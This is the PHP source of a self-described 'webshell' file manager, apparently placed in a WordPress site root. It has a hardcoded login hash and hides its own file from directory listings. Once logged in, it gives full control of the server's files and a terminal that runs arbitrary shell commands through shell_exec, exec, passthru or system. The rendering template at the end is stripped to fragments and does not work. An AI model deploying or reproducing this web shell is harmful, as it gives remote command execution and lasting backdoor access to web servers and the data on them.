'goathandsupply',
'hash' => '$2y$10$CdTaD.TisJ6jBTIAi0mFauyQ8R0ZOoPwViKldAOKzFdRrAtPJpX.W',
'allowed_ips' => [],
'root' => __DIR__,
'timeout' => 1800,
'max_edit' => 2097152,
];
session_start();
header('X-Frame-Options: DENY');
header('X-Content-Type-Options: nosniff');
header('Cache-Control: no-store');
header('Referrer-Policy: no-referrer');
define('ROOT', rtrim($CFG['root'], '/'));
define('SELF', basename(__FILE__));
function h($s) { return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); }
function flash($msg, $type = 'ok') { $_SESSION['flash'][] = [$msg, $type]; }
function size_human($b) {
if ($b >= 1073741824) return round($b / 1073741824, 2) . ' GB';
if ($b >= 1048576) return round($b / 1048576, 1) . ' MB';
if ($b >= 1024) return round($b / 1024, 1) . ' KB';
return $b . ' B';
}
function safe_path($rel) {
$rel = str_replace('\\', '/', (string)$rel);
if ($rel === '' || $rel === '.' || $rel === './') return ROOT;
$target = ROOT . '/' . preg_replace('#^/+#', '', $rel);
$real = realpath($target);
if ($real === false) return false;
if ($real !== ROOT && strpos($real, ROOT . '/') !== 0) return false;
return $real;
}
function safe_child($dir_rel, $name) {
$parent = safe_path($dir_rel);
if ($parent === false || !is_dir($parent)) return false;
$name = trim((string)$name);
if ($name === '' || $name === '.' || $name === '..' || strpbrk($name, '/\\') !== false) return false;
return $parent . '/' . $name;
}
function is_protected($abs) {
$b = basename((string)$abs);
return $b === 'wp-config.php' || $b === SELF;
}
function rel_of($abs) { return ltrim(substr($abs, strlen(ROOT)), '/'); }
function rrmdir($dir) {
foreach (scandir($dir) as $e) {
if ($e === '.' || $e === '..') continue;
$p = $dir . '/' . $e;
if (is_dir($p)) { rrmdir($p); } else { unlink($p); }
}
return rmdir($dir);
}
function rcopy($src, $dst) {
mkdir($dst, 0755, true);
$ok = true;
foreach (scandir($src) as $e) {
if ($e === '.' || $e === '..') continue;
$s = $src . '/' . $e;
$d = $dst . '/' . $e;
if (is_dir($s)) { $ok = rcopy($s, $d) && $ok; } else { $ok = copy($s, $d) && $ok; }
}
return $ok;
}
function run_cmd($cmd) {
@set_time_limit(0);
$cmd = 'cd ' . escapeshellarg(ROOT) . ' && ' . $cmd . ' 2>&1; echo "__rc:$?"';
$out = null;
if (function_exists('shell_exec')) {
$out = shell_exec($cmd);
} elseif (function_exists('exec')) {
$lines = []; exec($cmd, $lines); $out = implode("\n", $lines);
} elseif (function_exists('passthru')) {
ob_start(); passthru($cmd); $out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start(); system($cmd); $out = ob_get_clean();
} else {
return ['', -1];
}
$out = (string)$out;
$rc = -1;
if (preg_match('/^(.*?)(?:\n)?__rc:(\d+)\n?$/s', $out, $m)) { $out = $m[1]; $rc = (int)$m[2]; }
return [$out, $rc];
}
function perm_rwx($m) {
$s = '';
for ($i = 1; $i <= 3; $i++) {
$d = (int)$m[$i];
$s .= ($d & 4 ? 'r' : '-') . ($d & 2 ? 'w' : '-') . ($d & 1 ? 'x' : '-');
}
return $s;
}
function file_type($name) {
$e = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (in_array($e, ['php','css','js','mjs','ts','html','htm','xml','json','sh','py','rb','go','java','c','h','cpp','sql','yml','yaml','ini','conf','env','htaccess','twig'], true)) return 'code';
if (in_array($e, ['txt','md','log','csv','rst','me'], true)) return 'text';
if (in_array($e, ['png','jpg','jpeg','gif','webp','svg','ico','bmp','avif'], true)) return 'img';
if (in_array($e, ['zip','gz','tar','rar','7z','bz2'], true)) return 'zip';
return 'file';
}
function file_icon($type) {
$paths = [
'folder' => ' ',
'file' => ' ',
'code' => ' ',
'text' => ' ',
'img' => ' ',
'zip' => ' ',
];
return ''
. (isset($paths[$type]) ? $paths[$type] : $paths['file']) . ' ';
}
function goathand_logo($px = 64) {
$px = (int)$px;
return ''
. ' '
. ' '
. ' '
. ' '
. ' '
. ' '
. ' '
. ' '
. ' '
. ' '
. ' '
. ' '
. ' '
. ' '
. ' ';
}
function rate_file() { return rtrim(sys_get_temp_dir(), '/') . '/fm_lock_' . md5($_SERVER['REMOTE_ADDR']); }
function rate_blocked() {
$f = rate_file();
return is_file($f) && filemtime($f) > time() - 300;
}
function rate_fail() {
$f = rate_file();
$n = is_file($f) ? (int)@file_get_contents($f) : 0;
if ($n + 1 >= 5) { @file_put_contents($f, '0'); @touch($f); return true; }
@file_put_contents($f, (string)($n + 1));
return false;
}
function rate_reset() { @unlink(rate_file()); }
function csrf_token() {
if (empty($_SESSION['csrf'])) {
if (function_exists('random_bytes')) {
$_SESSION['csrf'] = bin2hex(random_bytes(32));
} elseif (function_exists('openssl_random_pseudo_bytes')) {
$_SESSION['csrf'] = bin2hex(openssl_random_pseudo_bytes(32));
} else {
$_SESSION['csrf'] = md5(uniqid(mt_rand(), true)) . md5(uniqid(mt_rand(), true));
}
}
return $_SESSION['csrf'];
}
function csrf_check() {
if (!hash_equals(isset($_SESSION['csrf']) ? $_SESSION['csrf'] : '', isset($_POST['csrf']) ? $_POST['csrf'] : '')) {
http_response_code(403);
exit('Invalid CSRF token. Reload the page.');
}
}
$login_error = '';
if (isset($_POST['login'])) {
if (rate_blocked()) {
$login_error = 'Too many attempts. Try again in '
. max(1, ceil((filemtime(rate_file()) + 300 - time()) / 60)) . ' minute(s).';
} else {
$ok = $CFG['hash'] !== ''
&& hash_equals($CFG['user'], (string)(isset($_POST['user']) ? $_POST['user'] : ''))
&& password_verify((string)(isset($_POST['pass']) ? $_POST['pass'] : ''), $CFG['hash']);
if ($ok) {
rate_reset();
session_regenerate_id(true);
$_SESSION['authed'] = true;
$_SESSION['last'] = time();
} else {
rate_fail();
$login_error = 'Login failed.';
}
}
}
if (isset($_POST['logout'])) {
csrf_check();
$_SESSION = [];
session_destroy();
}
if ($CFG['allowed_ips'] && !in_array($_SERVER['REMOTE_ADDR'], $CFG['allowed_ips'], true)) {
http_response_code(403);
exit('Forbidden.');
}
$authed = !empty($_SESSION['authed'])
&& time() - (isset($_SESSION['last']) ? $_SESSION['last'] : 0) <= $CFG['timeout'];
if (!$authed) { render_login($login_error); exit; }
$_SESSION['last'] = time();
if ((isset($_GET['action']) ? $_GET['action'] : '') === 'download') {
$abs = safe_path(isset($_GET['f']) ? $_GET['f'] : '');
if ($abs === false || !is_file($abs)) { http_response_code(404); exit('File not found.'); }
if (is_protected($abs)) { http_response_code(403); exit('Blocked: protected file.'); }
$fn = str_replace(['"', "\r", "\n"], '_', basename($abs));
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $fn . '"');
header('Content-Length: ' . filesize($abs));
readfile($abs);
exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (empty($_POST) && empty($_FILES)) {
flash('Upload failed: file exceeds post_max_size (' . ini_get('post_max_size') . ').', 'err');
header('Location: ?');
exit;
}
csrf_check();
$act = (string)(isset($_POST['action']) ? $_POST['action'] : '');
$rel = (string)(isset($_POST['path']) ? $_POST['path'] : '');
$abs = safe_path($rel);
$q = trim((string)(isset($_POST['q']) ? $_POST['q'] : ''));
if ($abs === ROOT && in_array($act, ['delete', 'rename', 'copy', 'move', 'chmod'], true)) {
flash('Blocked: cannot modify the root folder.', 'err');
$back = $rel === '' ? '' : $rel;
header('Location: ?' . http_build_query(['p' => $back, 'q' => $q]));
exit;
}
switch ($act) {
case 'mkdir':
$t = safe_child($rel, isset($_POST['extra']) ? $_POST['extra'] : '');
if (!$t) flash('Invalid folder name.', 'err');
elseif (is_protected($t)) flash('Blocked: protected name.', 'err');
elseif (mkdir($t, 0755)) flash('Folder created.');
else flash('Failed to create folder (check permissions).', 'err');
break;
case 'mkfile':
$t = safe_child($rel, isset($_POST['extra']) ? $_POST['extra'] : '');
if (!$t) flash('Invalid file name.', 'err');
elseif (is_protected($t)) flash('Blocked: protected name.', 'err');
elseif (file_put_contents($t, '') !== false) flash('File created.');
else flash('Failed to create file (check permissions).', 'err');
break;
case 'upload':
$dir = $abs;
if ($dir === false || !is_dir($dir)) flash('Invalid destination folder.', 'err');
elseif (empty($_FILES['files']['name'])) flash('No file selected.', 'err');
else {
$n = 0;
$max = ini_get('upload_max_filesize');
foreach ($_FILES['files']['error'] as $i => $err) {
if ($err === UPLOAD_ERR_OK) {
$name = basename($_FILES['files']['name'][$i]);
$t = $dir . '/' . $name;
if (is_protected($t)) { flash('Blocked: ' . $name . ' is protected.', 'err'); continue; }
if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $t)) $n++;
else flash('Upload failed: ' . $name, 'err');
} elseif (in_array($err, [UPLOAD_ERR_INI_SIZE, UPLOAD_ERR_FORM_SIZE], true)) {
flash('Exceeds server upload limit (' . $max . ').', 'err');
} elseif ($err !== UPLOAD_ERR_NO_FILE) {
flash('Upload error code ' . $err, 'err');
}
}
if ($n) flash($n . ' file(s) uploaded.');
}
break;
case 'delete':
if ($abs === false || !file_exists($abs)) flash('File not found.', 'err');
elseif (is_protected($abs)) flash('Blocked: protected file.', 'err');
elseif (is_dir($abs)) { $ok = rrmdir($abs); flash($ok ? 'Folder deleted.' : 'Failed to delete (check permissions).', $ok ? 'ok' : 'err'); }
elseif (unlink($abs)) flash('Deleted.');
else flash('Failed to delete (check permissions).', 'err');
break;
case 'bulk_delete':
$paths = isset($_POST['paths']) ? $_POST['paths'] : array();
if (!is_array($paths) || !$paths) flash('Nothing selected.', 'err');
else {
$del = 0; $blocked = 0; $miss = 0;
foreach ($paths as $p) {
$a = safe_path((string)$p);
if ($a === false || $a === ROOT || !file_exists($a)) { $miss++; continue; }
if (is_protected($a)) { $blocked++; continue; }
if (is_dir($a)) { $del += rrmdir($a) ? 1 : 0; } else { $del += unlink($a) ? 1 : 0; }
}
$msg = 'Deleted ' . $del . ' item' . ($del === 1 ? '' : 's') . '.';
if ($blocked) $msg .= ' ' . $blocked . ' blocked (protected).';
if ($miss) $msg .= ' ' . $miss . ' not found.';
flash($msg, $del ? 'ok' : 'err');
}
break;
case 'rename':
$new = safe_child(dirname($rel), isset($_POST['extra']) ? $_POST['extra'] : '');
if ($abs === false || !file_exists($abs)) flash('File not found.', 'err');
elseif (is_protected($abs)) flash('Blocked: protected file.', 'err');
elseif (!$new) flash('Invalid new name.', 'err');
elseif (is_protected($new)) flash('Blocked: protected name.', 'err');
elseif (rename($abs, $new)) flash('Renamed.');
else flash('Rename failed.', 'err');
break;
case 'copy':
case 'move':
$dst_dir = safe_path(isset($_POST['extra']) ? $_POST['extra'] : '');
if ($abs === false || !file_exists($abs)) flash('File not found.', 'err');
elseif (is_protected($abs)) flash('Blocked: protected file.', 'err');
elseif ($dst_dir === false || !is_dir($dst_dir)) flash('Invalid destination folder.', 'err');
else {
$dst = $dst_dir . '/' . basename($abs);
if (is_protected($dst)) flash('Blocked: protected destination.', 'err');
elseif (file_exists($dst)) flash('Already exists in the destination.', 'err');
else {
$done = false;
if ($act === 'copy') {
$done = is_dir($abs) ? rcopy($abs, $dst) : copy($abs, $dst);
} else {
if (rename($abs, $dst) === false) {
if (is_dir($abs)) { $done = rcopy($abs, $dst) && rrmdir($abs); }
else { $done = copy($abs, $dst) && unlink($abs); }
} else { $done = true; }
}
flash($done ? ($act === 'copy' ? 'Copied.' : 'Moved.') : 'Failed. Check destination & permissions.', $done ? 'ok' : 'err');
}
}
break;
case 'chmod':
$mode = trim((string)(isset($_POST['extra']) ? $_POST['extra'] : ''));
if ($abs === false || !file_exists($abs)) flash('File not found.', 'err');
elseif (is_protected($abs)) flash('Blocked: protected file.', 'err');
elseif (!preg_match('/^[0-7]{3,4}$/', $mode)) flash('Invalid mode (e.g. 0644 or 755).', 'err');
elseif (chmod($abs, octdec($mode))) flash('Permissions changed to ' . $mode . '.');
else flash('Failed to change permissions.', 'err');
break;
case 'save':
if ($abs === false || !is_file($abs)) flash('File not found.', 'err');
elseif (is_protected($abs)) flash('Blocked: protected file.', 'err');
elseif (!is_writable($abs)) flash('File is not writable — check permissions.', 'err');
elseif (!isset($_POST['content'])) flash('Failed to save (incomplete form).', 'err');
elseif (file_put_contents($abs, (string)(isset($_POST['content']) ? $_POST['content'] : ''), LOCK_EX) === false) flash('Failed to save.', 'err');
else { flash('Saved.'); header('Location: ?action=edit&f=' . rawurlencode($rel)); exit; }
break;
case 'extract':
if ($abs === false || !is_file($abs)) flash('File not found.', 'err');
elseif (is_protected($abs)) flash('Blocked: protected file.', 'err');
elseif (strtolower(pathinfo($abs, PATHINFO_EXTENSION)) !== 'zip') flash('Not a .zip archive.', 'err');
elseif (!class_exists('ZipArchive')) flash('ZipArchive extension is not enabled on this server.', 'err');
else {
$target = dirname($abs) . '/' . pathinfo($abs, PATHINFO_FILENAME);
if (file_exists($target)) flash('"' . basename($target) . '" already exists.', 'err');
else {
$zip = new ZipArchive();
if ($zip->open($abs) !== true) flash('Cannot open archive (corrupt or unreadable).', 'err');
else {
$ok = true; $n = 0;
for ($i = 0; $i < $zip->numFiles; $i++) {
$name = str_replace('\\', '/', $zip->getNameIndex($i));
if ($name === '' || $name[0] === '/' || preg_match('#(^|/)\.\.(/|$)#', $name)) { $ok = false; break; }
$dest = $target . '/' . $name;
if (substr($name, -1) === '/') {
if (!is_dir($dest) && !@mkdir($dest, 0755, true)) { $ok = false; break; }
} else {
$d = dirname($dest);
if (!is_dir($d) && !@mkdir($d, 0755, true)) { $ok = false; break; }
if (file_put_contents($dest, $zip->getFromIndex($i)) === false) { $ok = false; break; }
$n++;
}
}
$zip->close();
if ($ok) flash('Extracted ' . $n . ' file(s) to "' . basename($target) . '".');
else { if (is_dir($target)) rrmdir($target); flash('Extract aborted: unsafe or unreadable entry.', 'err'); }
}
}
}
break;
case 'term':
$cmd = trim((string)(isset($_POST['extra']) ? $_POST['extra'] : ''));
if ($cmd === '') flash('Empty command.', 'err');
elseif (!function_exists('shell_exec') && !function_exists('exec') && !function_exists('passthru') && !function_exists('system')) flash('Command execution is disabled on this server (disable_functions).', 'err');
else {
list($out, $rc) = run_cmd($cmd);
$_SESSION['term'] = ['cmd' => $cmd, 'out' => $out, 'rc' => $rc];
}
header('Location: ?action=term');
exit;
}
$back = ($act === 'mkdir' || $act === 'upload' || $act === 'bulk_delete') ? $rel : dirname($rel);
if ($back === '' || $back === '.') $back = '';
header('Location: ?' . http_build_query(['p' => $back, 'q' => $q]));
exit;
}
$edit = null;
$edit_err = null;
if ((isset($_GET['action']) ? $_GET['action'] : '') === 'edit') {
$abs = safe_path(isset($_GET['f']) ? $_GET['f'] : '');
if ($abs === false || !is_file($abs)) $edit_err = 'File not found.';
elseif (is_protected($abs)) $edit_err = 'Blocked: this file is protected.';
elseif (filesize($abs) > $CFG['max_edit']) $edit_err = 'File too large for the editor (' . size_human(filesize($abs)) . ').';
elseif (!is_readable($abs)) $edit_err = 'File is not readable.';
else $edit = [
'rel' => rel_of($abs),
'name' => basename($abs),
'content' => file_get_contents($abs),
'writable' => is_writable($abs),
];
}
$show_term = (isset($_GET['action']) ? $_GET['action'] : '') === 'term';
$term_run = null;
if ($show_term) { $term_run = isset($_SESSION['term']) ? $_SESSION['term'] : null; unset($_SESSION['term']); }
$cur = safe_path(isset($_GET['p']) ? $_GET['p'] : '');
if ($cur === false) { flash('Access denied: path outside root.', 'err'); $cur = ROOT; }
elseif (!is_dir($cur)) { flash('Invalid folder.', 'err'); $cur = ROOT; }
$q = trim((string)(isset($_GET['q']) ? $_GET['q'] : ''));
$items = [];
foreach (scandir($cur) as $e) {
if ($e === '.' || $e === '..' || $e === SELF) continue;
if ($q !== '' && stripos($e, $q) === false) continue;
$full = $cur . '/' . $e;
$perm = substr(sprintf('%o', fileperms($full)), -4);
$items[] = [
'name' => $e,
'dir' => is_dir($full),
'size' => is_file($full) ? size_human(filesize($full)) : '-',
'bytes' => is_file($full) ? filesize($full) : 0,
'mtime' => date('d M Y H:i', filemtime($full)),
'mt' => filemtime($full),
'perm' => $perm,
'rwx' => perm_rwx($perm),
'rel' => rel_of($full),
'locked' => is_protected($full),
'type' => is_dir($full) ? 'folder' : file_type($e),
];
}
usort($items, function ($a, $b) {
if ($a['dir'] !== $b['dir']) return $a['dir'] ? -1 : 1;
return strcasecmp($a['name'], $b['name']);
});
$crumb = [];
$parts = array_filter(explode('/', rel_of($cur)), 'strlen');
$acc = '';
foreach ($parts as $seg) {
$acc .= ($acc === '' ? '' : '/') . $seg;
$crumb[] = ['label' => $seg, 'rel' => $acc];
}
function render_login($err) {
?>
GOATHAND SUPPLY WEBSHELL — File Manager
= goathand_logo(72) ?>
GOATHAND
Supply
WEBSHELL — FILE MANAGER
= h($err) ?>
Configuration incomplete (empty hash). Set the hash in $CFG.
GOATHAND SUPPLY WEBSHELL — = h($cur === ROOT ? 'Root' : rel_of($cur)) ?>
= h($edit_err) ?>
This file is not writable (permission = substr(sprintf('%o', fileperms(safe_path($edit['rel']))), -4) ?>). Saving will be rejected until permissions are changed.
← Back
/
terminal — = h(ROOT) ?>
= h($term_run['out']) ?>
$ = h(ROOT) ?> ready. Type a command above.
[exit: = (int)$term_run['rc'] ?>]
0 selected
Delete selected
Clear